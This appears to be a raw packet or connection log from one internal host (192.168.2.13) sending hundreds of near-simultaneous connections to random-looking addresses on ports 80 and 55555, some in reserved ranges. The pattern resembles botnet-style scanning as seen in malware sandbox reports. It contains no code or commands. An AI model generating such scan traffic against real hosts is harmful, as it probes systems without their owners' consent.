Mar 21, 2024 05:21:47.398340940 CET	50992	80	192.168.2.13	197.140.213.39
Mar 21, 2024 05:21:47.398343086 CET	50992	80	192.168.2.13	27.87.14.43
Mar 21, 2024 05:21:47.398346901 CET	51760	55555	192.168.2.13	184.196.90.70
Mar 21, 2024 05:21:47.398346901 CET	51760	55555	192.168.2.13	184.41.248.115
Mar 21, 2024 05:21:47.398349047 CET	50992	80	192.168.2.13	100.224.38.175
Mar 21, 2024 05:21:47.398360968 CET	50992	80	192.168.2.13	95.116.218.227
Mar 21, 2024 05:21:47.398361921 CET	51760	55555	192.168.2.13	98.50.23.109
Mar 21, 2024 05:21:47.398364067 CET	51760	55555	192.168.2.13	98.111.242.144
Mar 21, 2024 05:21:47.398372889 CET	51760	55555	192.168.2.13	172.97.124.31
Mar 21, 2024 05:21:47.398375034 CET	51760	55555	192.168.2.13	172.145.14.137
Mar 21, 2024 05:21:47.398375034 CET	51760	55555	192.168.2.13	172.199.37.4
Mar 21, 2024 05:21:47.398375034 CET	51760	55555	192.168.2.13	172.1.87.3
Mar 21, 2024 05:21:47.398376942 CET	51760	55555	192.168.2.13	184.150.51.255
Mar 21, 2024 05:21:47.398382902 CET	51760	55555	192.168.2.13	184.209.41.195
Mar 21, 2024 05:21:47.398382902 CET	51760	55555	192.168.2.13	98.218.15.222
Mar 21, 2024 05:21:47.398382902 CET	51760	55555	192.168.2.13	184.110.123.169
Mar 21, 2024 05:21:47.398382902 CET	51760	55555	192.168.2.13	98.233.115.142
Mar 21, 2024 05:21:47.398385048 CET	50992	80	192.168.2.13	57.49.142.148
Mar 21, 2024 05:21:47.398397923 CET	51760	55555	192.168.2.13	184.234.128.163
Mar 21, 2024 05:21:47.398407936 CET	50992	80	192.168.2.13	196.55.31.206
Mar 21, 2024 05:21:47.398408890 CET	50992	80	192.168.2.13	185.33.209.238
Mar 21, 2024 05:21:47.398412943 CET	51760	55555	192.168.2.13	172.13.117.206
Mar 21, 2024 05:21:47.398416042 CET	51760	55555	192.168.2.13	172.25.160.125
Mar 21, 2024 05:21:47.398416042 CET	51760	55555	192.168.2.13	184.141.33.154
Mar 21, 2024 05:21:47.398421049 CET	51760	55555	192.168.2.13	172.111.205.143
Mar 21, 2024 05:21:47.398421049 CET	51760	55555	192.168.2.13	184.217.153.179
Mar 21, 2024 05:21:47.398422003 CET	51760	55555	192.168.2.13	172.241.219.187
Mar 21, 2024 05:21:47.398422003 CET	51760	55555	192.168.2.13	98.93.129.78
Mar 21, 2024 05:21:47.398426056 CET	51760	55555	192.168.2.13	172.109.171.80
Mar 21, 2024 05:21:47.398426056 CET	51760	55555	192.168.2.13	172.225.7.178
Mar 21, 2024 05:21:47.398432970 CET	51760	55555	192.168.2.13	172.32.40.160
Mar 21, 2024 05:21:47.398437977 CET	51760	55555	192.168.2.13	184.36.64.92
Mar 21, 2024 05:21:47.398437977 CET	50992	80	192.168.2.13	52.234.88.185
Mar 21, 2024 05:21:47.398437977 CET	51760	55555	192.168.2.13	184.14.202.12
Mar 21, 2024 05:21:47.398446083 CET	51760	55555	192.168.2.13	184.104.214.232
Mar 21, 2024 05:21:47.398447990 CET	51760	55555	192.168.2.13	172.165.77.35
Mar 21, 2024 05:21:47.398458958 CET	51760	55555	192.168.2.13	184.220.97.45
Mar 21, 2024 05:21:47.398458958 CET	51760	55555	192.168.2.13	172.103.89.146
Mar 21, 2024 05:21:47.398461103 CET	50992	80	192.168.2.13	35.206.149.75
Mar 21, 2024 05:21:47.398461103 CET	51760	55555	192.168.2.13	172.79.124.206
Mar 21, 2024 05:21:47.398458958 CET	51760	55555	192.168.2.13	184.233.74.157
Mar 21, 2024 05:21:47.398461103 CET	51760	55555	192.168.2.13	184.162.117.137
Mar 21, 2024 05:21:47.398463964 CET	51760	55555	192.168.2.13	172.52.73.186
Mar 21, 2024 05:21:47.398463964 CET	51760	55555	192.168.2.13	98.241.33.67
Mar 21, 2024 05:21:47.398463964 CET	51760	55555	192.168.2.13	172.40.61.41
Mar 21, 2024 05:21:47.398469925 CET	51760	55555	192.168.2.13	98.38.109.69
Mar 21, 2024 05:21:47.398469925 CET	51760	55555	192.168.2.13	98.197.139.252
Mar 21, 2024 05:21:47.398494959 CET	51760	55555	192.168.2.13	172.193.249.23
Mar 21, 2024 05:21:47.398497105 CET	50992	80	192.168.2.13	104.38.58.119
Mar 21, 2024 05:21:47.398499012 CET	51760	55555	192.168.2.13	184.99.160.41
Mar 21, 2024 05:21:47.398499012 CET	51760	55555	192.168.2.13	98.204.209.75
Mar 21, 2024 05:21:47.398499012 CET	51760	55555	192.168.2.13	172.223.89.10
Mar 21, 2024 05:21:47.398504019 CET	51760	55555	192.168.2.13	172.201.250.109
Mar 21, 2024 05:21:47.398504019 CET	51760	55555	192.168.2.13	184.219.187.228
Mar 21, 2024 05:21:47.398505926 CET	51760	55555	192.168.2.13	172.60.201.238
Mar 21, 2024 05:21:47.398505926 CET	51760	55555	192.168.2.13	98.57.108.158
Mar 21, 2024 05:21:47.398505926 CET	51760	55555	192.168.2.13	172.29.180.235
Mar 21, 2024 05:21:47.398505926 CET	51760	55555	192.168.2.13	184.84.212.217
Mar 21, 2024 05:21:47.398520947 CET	51760	55555	192.168.2.13	184.83.81.233
Mar 21, 2024 05:21:47.398525000 CET	50992	80	192.168.2.13	118.69.66.132
Mar 21, 2024 05:21:47.398525000 CET	50992	80	192.168.2.13	35.245.191.31
Mar 21, 2024 05:21:47.398530006 CET	50992	80	192.168.2.13	146.178.44.195
Mar 21, 2024 05:21:47.398534060 CET	51760	55555	192.168.2.13	184.96.142.87
Mar 21, 2024 05:21:47.398534060 CET	51760	55555	192.168.2.13	184.117.207.140
Mar 21, 2024 05:21:47.398535013 CET	51760	55555	192.168.2.13	184.206.209.117
Mar 21, 2024 05:21:47.398539066 CET	51760	55555	192.168.2.13	98.140.144.239
Mar 21, 2024 05:21:47.398539066 CET	50992	80	192.168.2.13	205.141.130.246
Mar 21, 2024 05:21:47.398539066 CET	51760	55555	192.168.2.13	98.6.44.113
Mar 21, 2024 05:21:47.398552895 CET	50992	80	192.168.2.13	35.241.25.179
Mar 21, 2024 05:21:47.398552895 CET	50992	80	192.168.2.13	194.103.244.181
Mar 21, 2024 05:21:47.398552895 CET	51760	55555	192.168.2.13	172.209.198.180
Mar 21, 2024 05:21:47.398552895 CET	50992	80	192.168.2.13	105.76.241.95
Mar 21, 2024 05:21:47.398552895 CET	50992	80	192.168.2.13	52.135.120.53
Mar 21, 2024 05:21:47.398555040 CET	50992	80	192.168.2.13	47.166.142.39
Mar 21, 2024 05:21:47.398559093 CET	50992	80	192.168.2.13	138.199.36.41
Mar 21, 2024 05:21:47.398560047 CET	50992	80	192.168.2.13	43.127.209.42
Mar 21, 2024 05:21:47.398561954 CET	51760	55555	192.168.2.13	184.142.145.74
Mar 21, 2024 05:21:47.398561954 CET	50992	80	192.168.2.13	95.240.139.232
Mar 21, 2024 05:21:47.398561954 CET	51760	55555	192.168.2.13	184.93.158.227
Mar 21, 2024 05:21:47.398561954 CET	51760	55555	192.168.2.13	172.0.100.66
Mar 21, 2024 05:21:47.398561954 CET	51760	55555	192.168.2.13	98.228.118.18
Mar 21, 2024 05:21:47.398561954 CET	51760	55555	192.168.2.13	98.166.221.156
Mar 21, 2024 05:21:47.398561954 CET	50992	80	192.168.2.13	51.251.145.200
Mar 21, 2024 05:21:47.398566008 CET	51760	55555	192.168.2.13	98.74.62.162
Mar 21, 2024 05:21:47.398566961 CET	51760	55555	192.168.2.13	172.170.10.108
Mar 21, 2024 05:21:47.398566008 CET	51760	55555	192.168.2.13	184.173.218.214
Mar 21, 2024 05:21:47.398566961 CET	50992	80	192.168.2.13	16.240.118.77
Mar 21, 2024 05:21:47.398566008 CET	51760	55555	192.168.2.13	172.69.188.51
Mar 21, 2024 05:21:47.398566008 CET	51760	55555	192.168.2.13	172.159.158.209
Mar 21, 2024 05:21:47.398588896 CET	51760	55555	192.168.2.13	184.88.31.59
Mar 21, 2024 05:21:47.398588896 CET	50992	80	192.168.2.13	119.22.122.133
Mar 21, 2024 05:21:47.398588896 CET	50992	80	192.168.2.13	42.109.31.242
Mar 21, 2024 05:21:47.398596048 CET	51760	55555	192.168.2.13	172.183.130.199
Mar 21, 2024 05:21:47.398596048 CET	51760	55555	192.168.2.13	172.219.202.36
Mar 21, 2024 05:21:47.398596048 CET	51760	55555	192.168.2.13	184.94.172.7
Mar 21, 2024 05:21:47.398597956 CET	50992	80	192.168.2.13	6.105.96.225
Mar 21, 2024 05:21:47.398597956 CET	51760	55555	192.168.2.13	98.205.164.146
Mar 21, 2024 05:21:47.398597956 CET	51760	55555	192.168.2.13	98.124.222.201
Mar 21, 2024 05:21:47.398600101 CET	51760	55555	192.168.2.13	98.237.11.105
Mar 21, 2024 05:21:47.398597956 CET	51760	55555	192.168.2.13	172.20.15.154
Mar 21, 2024 05:21:47.398600101 CET	51760	55555	192.168.2.13	184.53.228.115
Mar 21, 2024 05:21:47.398600101 CET	51760	55555	192.168.2.13	184.109.234.157
Mar 21, 2024 05:21:47.398597956 CET	51760	55555	192.168.2.13	172.241.66.178
Mar 21, 2024 05:21:47.398597956 CET	51760	55555	192.168.2.13	184.248.72.222
Mar 21, 2024 05:21:47.398601055 CET	51760	55555	192.168.2.13	184.66.77.100
Mar 21, 2024 05:21:47.398600101 CET	51760	55555	192.168.2.13	98.143.24.228
Mar 21, 2024 05:21:47.398601055 CET	51760	55555	192.168.2.13	172.241.108.218
Mar 21, 2024 05:21:47.398600101 CET	51760	55555	192.168.2.13	184.160.20.241
Mar 21, 2024 05:21:47.398600101 CET	51760	55555	192.168.2.13	98.65.215.124
Mar 21, 2024 05:21:47.398600101 CET	51760	55555	192.168.2.13	98.18.126.190
Mar 21, 2024 05:21:47.398607969 CET	50992	80	192.168.2.13	76.117.162.124
Mar 21, 2024 05:21:47.398600101 CET	51760	55555	192.168.2.13	172.4.222.99
Mar 21, 2024 05:21:47.398612022 CET	50992	80	192.168.2.13	162.99.76.226
Mar 21, 2024 05:21:47.398607969 CET	51760	55555	192.168.2.13	184.5.190.132
Mar 21, 2024 05:21:47.398612022 CET	51760	55555	192.168.2.13	172.164.101.204
Mar 21, 2024 05:21:47.398607969 CET	51760	55555	192.168.2.13	98.4.190.136
Mar 21, 2024 05:21:47.398612022 CET	50992	80	192.168.2.13	205.238.99.182
Mar 21, 2024 05:21:47.398607969 CET	50992	80	192.168.2.13	71.150.84.228
Mar 21, 2024 05:21:47.398607969 CET	50992	80	192.168.2.13	162.110.194.66
Mar 21, 2024 05:21:47.398612022 CET	51760	55555	192.168.2.13	172.23.82.145
Mar 21, 2024 05:21:47.398607969 CET	50992	80	192.168.2.13	70.64.94.149
Mar 21, 2024 05:21:47.398612022 CET	51760	55555	192.168.2.13	184.219.71.253
Mar 21, 2024 05:21:47.398608923 CET	51760	55555	192.168.2.13	172.249.157.17
Mar 21, 2024 05:21:47.398608923 CET	50992	80	192.168.2.13	144.235.197.31
Mar 21, 2024 05:21:47.398612022 CET	50992	80	192.168.2.13	46.245.7.121
Mar 21, 2024 05:21:47.398612022 CET	50992	80	192.168.2.13	187.247.78.204
Mar 21, 2024 05:21:47.398612022 CET	50992	80	192.168.2.13	190.188.28.202
Mar 21, 2024 05:21:47.398623943 CET	50992	80	192.168.2.13	20.181.94.184
Mar 21, 2024 05:21:47.398623943 CET	51760	55555	192.168.2.13	98.186.12.76
Mar 21, 2024 05:21:47.398627996 CET	51760	55555	192.168.2.13	184.182.4.137
Mar 21, 2024 05:21:47.398627996 CET	51760	55555	192.168.2.13	184.152.15.103
Mar 21, 2024 05:21:47.398627996 CET	50992	80	192.168.2.13	78.116.204.152
Mar 21, 2024 05:21:47.398627996 CET	50992	80	192.168.2.13	153.12.207.121
Mar 21, 2024 05:21:47.398627996 CET	50992	80	192.168.2.13	152.68.33.47
Mar 21, 2024 05:21:47.398632050 CET	50992	80	192.168.2.13	175.177.51.196
Mar 21, 2024 05:21:47.398638010 CET	51760	55555	192.168.2.13	184.211.179.29
Mar 21, 2024 05:21:47.398638010 CET	50992	80	192.168.2.13	38.166.69.23
Mar 21, 2024 05:21:47.398638010 CET	50992	80	192.168.2.13	183.113.224.33
Mar 21, 2024 05:21:47.398638010 CET	50992	80	192.168.2.13	10.109.111.248
Mar 21, 2024 05:21:47.398642063 CET	50992	80	192.168.2.13	214.174.244.210
Mar 21, 2024 05:21:47.398642063 CET	50992	80	192.168.2.13	240.18.247.162
Mar 21, 2024 05:21:47.398644924 CET	50992	80	192.168.2.13	8.237.196.226
Mar 21, 2024 05:21:47.398644924 CET	50992	80	192.168.2.13	99.153.25.219
Mar 21, 2024 05:21:47.398647070 CET	51760	55555	192.168.2.13	172.204.210.166
Mar 21, 2024 05:21:47.398670912 CET	51760	55555	192.168.2.13	184.1.153.135
Mar 21, 2024 05:21:47.398684025 CET	51760	55555	192.168.2.13	98.172.134.212
Mar 21, 2024 05:21:47.398684978 CET	51760	55555	192.168.2.13	172.10.74.33
Mar 21, 2024 05:21:47.398684978 CET	50992	80	192.168.2.13	162.205.206.167
Mar 21, 2024 05:21:47.398684978 CET	50992	80	192.168.2.13	94.18.184.234
Mar 21, 2024 05:21:47.398684978 CET	50992	80	192.168.2.13	243.89.185.134
Mar 21, 2024 05:21:47.398686886 CET	50992	80	192.168.2.13	107.3.196.159
Mar 21, 2024 05:21:47.398684978 CET	51760	55555	192.168.2.13	184.24.59.242
Mar 21, 2024 05:21:47.398686886 CET	51760	55555	192.168.2.13	98.27.119.166
Mar 21, 2024 05:21:47.398686886 CET	50992	80	192.168.2.13	101.182.136.105
Mar 21, 2024 05:21:47.398686886 CET	51760	55555	192.168.2.13	172.54.148.75
Mar 21, 2024 05:21:47.398686886 CET	51760	55555	192.168.2.13	184.212.33.206
Mar 21, 2024 05:21:47.398691893 CET	51760	55555	192.168.2.13	184.67.215.159
Mar 21, 2024 05:21:47.398691893 CET	51760	55555	192.168.2.13	184.179.168.48
Mar 21, 2024 05:21:47.398693085 CET	50992	80	192.168.2.13	194.135.78.205
Mar 21, 2024 05:21:47.398693085 CET	50992	80	192.168.2.13	211.245.251.117
Mar 21, 2024 05:21:47.398693085 CET	50992	80	192.168.2.13	181.181.176.228
Mar 21, 2024 05:21:47.398704052 CET	50992	80	192.168.2.13	220.30.36.124
Mar 21, 2024 05:21:47.398704052 CET	50992	80	192.168.2.13	140.86.74.69
Mar 21, 2024 05:21:47.398704052 CET	50992	80	192.168.2.13	137.99.196.223
Mar 21, 2024 05:21:47.398704052 CET	50992	80	192.168.2.13	186.150.64.125
Mar 21, 2024 05:21:47.398704052 CET	50992	80	192.168.2.13	70.140.34.236
Mar 21, 2024 05:21:47.398704052 CET	51760	55555	192.168.2.13	184.207.84.21
Mar 21, 2024 05:21:47.398704052 CET	50992	80	192.168.2.13	36.198.143.86
Mar 21, 2024 05:21:47.398704052 CET	51760	55555	192.168.2.13	184.160.142.142
Mar 21, 2024 05:21:47.398711920 CET	50992	80	192.168.2.13	15.70.192.90
Mar 21, 2024 05:21:47.398713112 CET	50992	80	192.168.2.13	30.209.246.232
Mar 21, 2024 05:21:47.398713112 CET	50992	80	192.168.2.13	54.41.250.141
Mar 21, 2024 05:21:47.398713112 CET	50992	80	192.168.2.13	222.222.204.135
Mar 21, 2024 05:21:47.398713112 CET	51760	55555	192.168.2.13	172.95.237.204
Mar 21, 2024 05:21:47.398713112 CET	50992	80	192.168.2.13	9.186.153.240
Mar 21, 2024 05:21:47.398713112 CET	50992	80	192.168.2.13	95.190.232.206
Mar 21, 2024 05:21:47.398713112 CET	51760	55555	192.168.2.13	98.111.181.79
Mar 21, 2024 05:21:47.398726940 CET	51760	55555	192.168.2.13	184.130.27.192
Mar 21, 2024 05:21:47.398729086 CET	50992	80	192.168.2.13	252.149.39.126
Mar 21, 2024 05:21:47.398729086 CET	51760	55555	192.168.2.13	98.46.79.176
Mar 21, 2024 05:21:47.398729086 CET	51760	55555	192.168.2.13	98.105.42.241
Mar 21, 2024 05:21:47.398732901 CET	51760	55555	192.168.2.13	184.161.153.181
Mar 21, 2024 05:21:47.398735046 CET	51760	55555	192.168.2.13	98.153.68.92
Mar 21, 2024 05:21:47.398735046 CET	51760	55555	192.168.2.13	184.194.11.212
Mar 21, 2024 05:21:47.398740053 CET	51760	55555	192.168.2.13	184.110.229.183
Mar 21, 2024 05:21:47.398746967 CET	51760	55555	192.168.2.13	184.252.99.10
Mar 21, 2024 05:21:47.398753881 CET	50992	80	192.168.2.13	180.62.56.127
Mar 21, 2024 05:21:47.398753881 CET	51760	55555	192.168.2.13	98.60.48.133
Mar 21, 2024 05:21:47.398755074 CET	51760	55555	192.168.2.13	172.71.92.174
Mar 21, 2024 05:21:47.398758888 CET	51760	55555	192.168.2.13	172.224.69.143
Mar 21, 2024 05:21:47.398765087 CET	50992	80	192.168.2.13	181.216.133.44
Mar 21, 2024 05:21:47.398766041 CET	50992	80	192.168.2.13	36.187.99.173
Mar 21, 2024 05:21:47.398781061 CET	50992	80	192.168.2.13	119.1.62.184
Mar 21, 2024 05:21:47.398782969 CET	50992	80	192.168.2.13	180.251.227.156
Mar 21, 2024 05:21:47.398786068 CET	51760	55555	192.168.2.13	98.107.79.45
Mar 21, 2024 05:21:47.398787975 CET	51760	55555	192.168.2.13	172.36.233.1
Mar 21, 2024 05:21:47.398787975 CET	51760	55555	192.168.2.13	98.212.49.255
Mar 21, 2024 05:21:47.398787975 CET	51760	55555	192.168.2.13	98.178.4.34
Mar 21, 2024 05:21:47.398787975 CET	51760	55555	192.168.2.13	184.184.222.238
Mar 21, 2024 05:21:47.398787975 CET	51760	55555	192.168.2.13	184.192.120.73
Mar 21, 2024 05:21:47.398794889 CET	51760	55555	192.168.2.13	98.36.7.231
Mar 21, 2024 05:21:47.398794889 CET	51760	55555	192.168.2.13	172.3.243.160
Mar 21, 2024 05:21:47.398802042 CET	50992	80	192.168.2.13	43.249.142.143
Mar 21, 2024 05:21:47.398802042 CET	51760	55555	192.168.2.13	184.56.12.36
Mar 21, 2024 05:21:47.398802996 CET	51760	55555	192.168.2.13	98.232.145.73
Mar 21, 2024 05:21:47.398802996 CET	51760	55555	192.168.2.13	184.52.201.51
Mar 21, 2024 05:21:47.398809910 CET	51760	55555	192.168.2.13	184.195.91.102
Mar 21, 2024 05:21:47.398809910 CET	50992	80	192.168.2.13	115.234.68.110
Mar 21, 2024 05:21:47.398809910 CET	51760	55555	192.168.2.13	98.94.197.148
Mar 21, 2024 05:21:47.398816109 CET	51760	55555	192.168.2.13	172.146.71.250
Mar 21, 2024 05:21:47.398816109 CET	50992	80	192.168.2.13	126.111.155.253
Mar 21, 2024 05:21:47.398816109 CET	51760	55555	192.168.2.13	184.84.20.248
Mar 21, 2024 05:21:47.398816109 CET	51760	55555	192.168.2.13	98.15.138.43
Mar 21, 2024 05:21:47.398816109 CET	50992	80	192.168.2.13	207.41.60.202
Mar 21, 2024 05:21:47.398816109 CET	50992	80	192.168.2.13	78.170.43.162
Mar 21, 2024 05:21:47.398816109 CET	51760	55555	192.168.2.13	98.255.22.248
Mar 21, 2024 05:21:47.398821115 CET	51760	55555	192.168.2.13	98.174.92.70
Mar 21, 2024 05:21:47.398821115 CET	51760	55555	192.168.2.13	172.52.18.200
Mar 21, 2024 05:21:47.398827076 CET	51760	55555	192.168.2.13	172.48.247.12
Mar 21, 2024 05:21:47.398827076 CET	50992	80	192.168.2.13	20.134.180.207
Mar 21, 2024 05:21:47.398827076 CET	51760	55555	192.168.2.13	184.133.222.69
Mar 21, 2024 05:21:47.398835897 CET	51760	55555	192.168.2.13	172.24.177.28
Mar 21, 2024 05:21:47.398835897 CET	50992	80	192.168.2.13	254.115.199.218
Mar 21, 2024 05:21:47.398835897 CET	51760	55555	192.168.2.13	184.205.13.149
Mar 21, 2024 05:21:47.398838043 CET	51760	55555	192.168.2.13	98.90.81.45
Mar 21, 2024 05:21:47.398838997 CET	50992	80	192.168.2.13	193.50.43.55
Mar 21, 2024 05:21:47.398838997 CET	50992	80	192.168.2.13	189.236.42.121
Mar 21, 2024 05:21:47.398838997 CET	51760	55555	192.168.2.13	172.37.208.163
Mar 21, 2024 05:21:47.398838997 CET	50992	80	192.168.2.13	56.38.149.165
Mar 21, 2024 05:21:47.398838997 CET	51760	55555	192.168.2.13	184.55.59.129
Mar 21, 2024 05:21:47.398844957 CET	51760	55555	192.168.2.13	98.168.74.171
Mar 21, 2024 05:21:47.398845911 CET	50992	80	192.168.2.13	40.6.120.40
Mar 21, 2024 05:21:47.398852110 CET	51760	55555	192.168.2.13	98.139.41.209
Mar 21, 2024 05:21:47.398849964 CET	51760	55555	192.168.2.13	98.14.43.142
Mar 21, 2024 05:21:47.398849964 CET	50992	80	192.168.2.13	146.235.148.12
Mar 21, 2024 05:21:47.398849964 CET	50992	80	192.168.2.13	182.214.131.99
Mar 21, 2024 05:21:47.398854971 CET	51760	55555	192.168.2.13	172.136.152.213
Mar 21, 2024 05:21:47.398854971 CET	50992	80	192.168.2.13	185.227.63.26
Mar 21, 2024 05:21:47.398855925 CET	50992	80	192.168.2.13	255.122.159.53
Mar 21, 2024 05:21:47.398855925 CET	51760	55555	192.168.2.13	98.18.253.109
Mar 21, 2024 05:21:47.398857117 CET	51760	55555	192.168.2.13	184.161.1.60
Mar 21, 2024 05:21:47.398858070 CET	51760	55555	192.168.2.13	172.68.216.130
Mar 21, 2024 05:21:47.398858070 CET	51760	55555	192.168.2.13	172.127.233.143
Mar 21, 2024 05:21:47.398859978 CET	51760	55555	192.168.2.13	184.51.88.182
Mar 21, 2024 05:21:47.398859978 CET	50992	80	192.168.2.13	154.171.87.213
Mar 21, 2024 05:21:47.398859978 CET	51760	55555	192.168.2.13	184.119.216.11
Mar 21, 2024 05:21:47.398860931 CET	51760	55555	192.168.2.13	184.203.7.57
Mar 21, 2024 05:21:47.398861885 CET	51760	55555	192.168.2.13	172.207.27.3
Mar 21, 2024 05:21:47.398861885 CET	51760	55555	192.168.2.13	172.36.20.192
Mar 21, 2024 05:21:47.398869038 CET	51760	55555	192.168.2.13	98.73.24.69
Mar 21, 2024 05:21:47.398869038 CET	51760	55555	192.168.2.13	184.243.34.39
Mar 21, 2024 05:21:47.398871899 CET	51760	55555	192.168.2.13	172.132.201.232
Mar 21, 2024 05:21:47.398871899 CET	51760	55555	192.168.2.13	172.192.172.102
Mar 21, 2024 05:21:47.398871899 CET	51760	55555	192.168.2.13	172.230.120.249
Mar 21, 2024 05:21:47.398880959 CET	51760	55555	192.168.2.13	184.228.217.74
Mar 21, 2024 05:21:47.398886919 CET	51760	55555	192.168.2.13	184.134.179.136
Mar 21, 2024 05:21:47.398905039 CET	51760	55555	192.168.2.13	184.37.42.199
Mar 21, 2024 05:21:47.398905039 CET	51760	55555	192.168.2.13	98.153.46.173
Mar 21, 2024 05:21:47.398905993 CET	51760	55555	192.168.2.13	98.82.45.253
Mar 21, 2024 05:21:47.398910999 CET	50992	80	192.168.2.13	202.43.101.70
Mar 21, 2024 05:21:47.398911953 CET	51760	55555	192.168.2.13	184.144.51.235
Mar 21, 2024 05:21:47.398911953 CET	50992	80	192.168.2.13	143.79.90.32
Mar 21, 2024 05:21:47.398911953 CET	50992	80	192.168.2.13	145.231.245.18
Mar 21, 2024 05:21:47.398911953 CET	50992	80	192.168.2.13	203.231.36.53
Mar 21, 2024 05:21:47.398912907 CET	50992	80	192.168.2.13	153.116.229.190
Mar 21, 2024 05:21:47.398911953 CET	51760	55555	192.168.2.13	172.47.178.59
Mar 21, 2024 05:21:47.398912907 CET	50992	80	192.168.2.13	255.10.187.237
Mar 21, 2024 05:21:47.398921013 CET	51760	55555	192.168.2.13	184.245.251.82
Mar 21, 2024 05:21:47.398927927 CET	51760	55555	192.168.2.13	98.158.238.163
Mar 21, 2024 05:21:47.398932934 CET	51760	55555	192.168.2.13	184.182.1.164
Mar 21, 2024 05:21:47.398932934 CET	51760	55555	192.168.2.13	172.112.249.34
Mar 21, 2024 05:21:47.398933887 CET	51760	55555	192.168.2.13	172.206.190.228
Mar 21, 2024 05:21:47.398935080 CET	51760	55555	192.168.2.13	184.125.32.88
Mar 21, 2024 05:21:47.398946047 CET	50992	80	192.168.2.13	32.92.253.186
Mar 21, 2024 05:21:47.398946047 CET	51760	55555	192.168.2.13	172.66.15.118
Mar 21, 2024 05:21:47.398947001 CET	51760	55555	192.168.2.13	184.67.37.4
Mar 21, 2024 05:21:47.398947954 CET	51760	55555	192.168.2.13	98.211.46.151
Mar 21, 2024 05:21:47.398947954 CET	51760	55555	192.168.2.13	184.113.107.53
Mar 21, 2024 05:21:47.398952007 CET	51760	55555	192.168.2.13	184.60.129.124
Mar 21, 2024 05:21:47.398947954 CET	51760	55555	192.168.2.13	172.140.226.135
Mar 21, 2024 05:21:47.398947954 CET	51760	55555	192.168.2.13	184.120.227.242
Mar 21, 2024 05:21:47.398963928 CET	51760	55555	192.168.2.13	98.22.102.129
Mar 21, 2024 05:21:47.398973942 CET	50992	80	192.168.2.13	107.208.246.13
Mar 21, 2024 05:21:47.398974895 CET	50992	80	192.168.2.13	138.69.36.135
Mar 21, 2024 05:21:47.398977995 CET	50992	80	192.168.2.13	61.126.43.63
Mar 21, 2024 05:21:47.398989916 CET	51760	55555	192.168.2.13	184.199.169.183
Mar 21, 2024 05:21:47.398989916 CET	51760	55555	192.168.2.13	172.69.82.195
Mar 21, 2024 05:21:47.398992062 CET	50992	80	192.168.2.13	186.50.125.68
Mar 21, 2024 05:21:47.399008989 CET	51760	55555	192.168.2.13	172.91.64.203
Mar 21, 2024 05:21:47.399009943 CET	51760	55555	192.168.2.13	184.8.217.133
Mar 21, 2024 05:21:47.399012089 CET	51760	55555	192.168.2.13	184.184.229.36
Mar 21, 2024 05:21:47.399025917 CET	51760	55555	192.168.2.13	98.64.74.139
Mar 21, 2024 05:21:47.399025917 CET	51760	55555	192.168.2.13	98.236.105.202
Mar 21, 2024 05:21:47.399029970 CET	50992	80	192.168.2.13	130.161.216.169
Mar 21, 2024 05:21:47.399029970 CET	51760	55555	192.168.2.13	98.248.86.80
Mar 21, 2024 05:21:47.399033070 CET	50992	80	192.168.2.13	172.140.96.211
Mar 21, 2024 05:21:47.399044991 CET	50992	80	192.168.2.13	78.100.46.57
Mar 21, 2024 05:21:47.399050951 CET	50992	80	192.168.2.13	162.102.65.86
Mar 21, 2024 05:21:47.399050951 CET	51760	55555	192.168.2.13	184.115.224.147
Mar 21, 2024 05:21:47.399050951 CET	50992	80	192.168.2.13	162.105.136.121
Mar 21, 2024 05:21:47.399050951 CET	50992	80	192.168.2.13	185.151.198.108
Mar 21, 2024 05:21:47.399064064 CET	51760	55555	192.168.2.13	98.73.207.222
Mar 21, 2024 05:21:47.399072886 CET	50992	80	192.168.2.13	192.36.53.185
Mar 21, 2024 05:21:47.399075031 CET	50992	80	192.168.2.13	89.206.237.195
Mar 21, 2024 05:21:47.399077892 CET	50992	80	192.168.2.13	16.162.18.126
Mar 21, 2024 05:21:47.399081945 CET	51760	55555	192.168.2.13	172.30.145.184
Mar 21, 2024 05:21:47.399082899 CET	51760	55555	192.168.2.13	98.131.190.24
Mar 21, 2024 05:21:47.399082899 CET	50992	80	192.168.2.13	248.85.182.63
Mar 21, 2024 05:21:47.399085999 CET	51760	55555	192.168.2.13	98.106.128.169
Mar 21, 2024 05:21:47.399085999 CET	51760	55555	192.168.2.13	172.221.53.131
Mar 21, 2024 05:21:47.399104118 CET	51760	55555	192.168.2.13	98.107.195.71
Mar 21, 2024 05:21:47.399104118 CET	51760	55555	192.168.2.13	184.83.124.45
Mar 21, 2024 05:21:47.399104118 CET	50992	80	192.168.2.13	199.63.164.6
Mar 21, 2024 05:21:47.399111032 CET	51760	55555	192.168.2.13	98.71.158.96
Mar 21, 2024 05:21:47.399111032 CET	51760	55555	192.168.2.13	172.0.12.178
Mar 21, 2024 05:21:47.399111986 CET	50992	80	192.168.2.13	246.30.62.15
Mar 21, 2024 05:21:47.399111986 CET	51760	55555	192.168.2.13	184.140.215.9
Mar 21, 2024 05:21:47.399116039 CET	51760	55555	192.168.2.13	184.203.157.106
Mar 21, 2024 05:21:47.399131060 CET	51760	55555	192.168.2.13	172.253.91.212
Mar 21, 2024 05:21:47.399131060 CET	50992	80	192.168.2.13	154.221.197.132
Mar 21, 2024 05:21:47.399132967 CET	51760	55555	192.168.2.13	172.99.105.111
Mar 21, 2024 05:21:47.399135113 CET	50992	80	192.168.2.13	65.125.17.73
Mar 21, 2024 05:21:47.399135113 CET	51760	55555	192.168.2.13	184.141.51.63
Mar 21, 2024 05:21:47.399136066 CET	51760	55555	192.168.2.13	172.161.117.234
Mar 21, 2024 05:21:47.399136066 CET	51760	55555	192.168.2.13	98.59.108.174
Mar 21, 2024 05:21:47.399136066 CET	51760	55555	192.168.2.13	172.13.46.179
Mar 21, 2024 05:21:47.399136066 CET	51760	55555	192.168.2.13	172.212.133.177
Mar 21, 2024 05:21:47.399136066 CET	51760	55555	192.168.2.13	172.114.17.7
Mar 21, 2024 05:21:47.399139881 CET	51760	55555	192.168.2.13	172.141.183.220
Mar 21, 2024 05:21:47.399142027 CET	50992	80	192.168.2.13	51.238.153.173
Mar 21, 2024 05:21:47.399142027 CET	51760	55555	192.168.2.13	184.22.238.92
Mar 21, 2024 05:21:47.399142027 CET	51760	55555	192.168.2.13	184.237.54.137
Mar 21, 2024 05:21:47.399142027 CET	51760	55555	192.168.2.13	184.67.110.93
Mar 21, 2024 05:21:47.399146080 CET	51760	55555	192.168.2.13	184.245.188.209
Mar 21, 2024 05:21:47.399164915 CET	50992	80	192.168.2.13	126.40.79.51
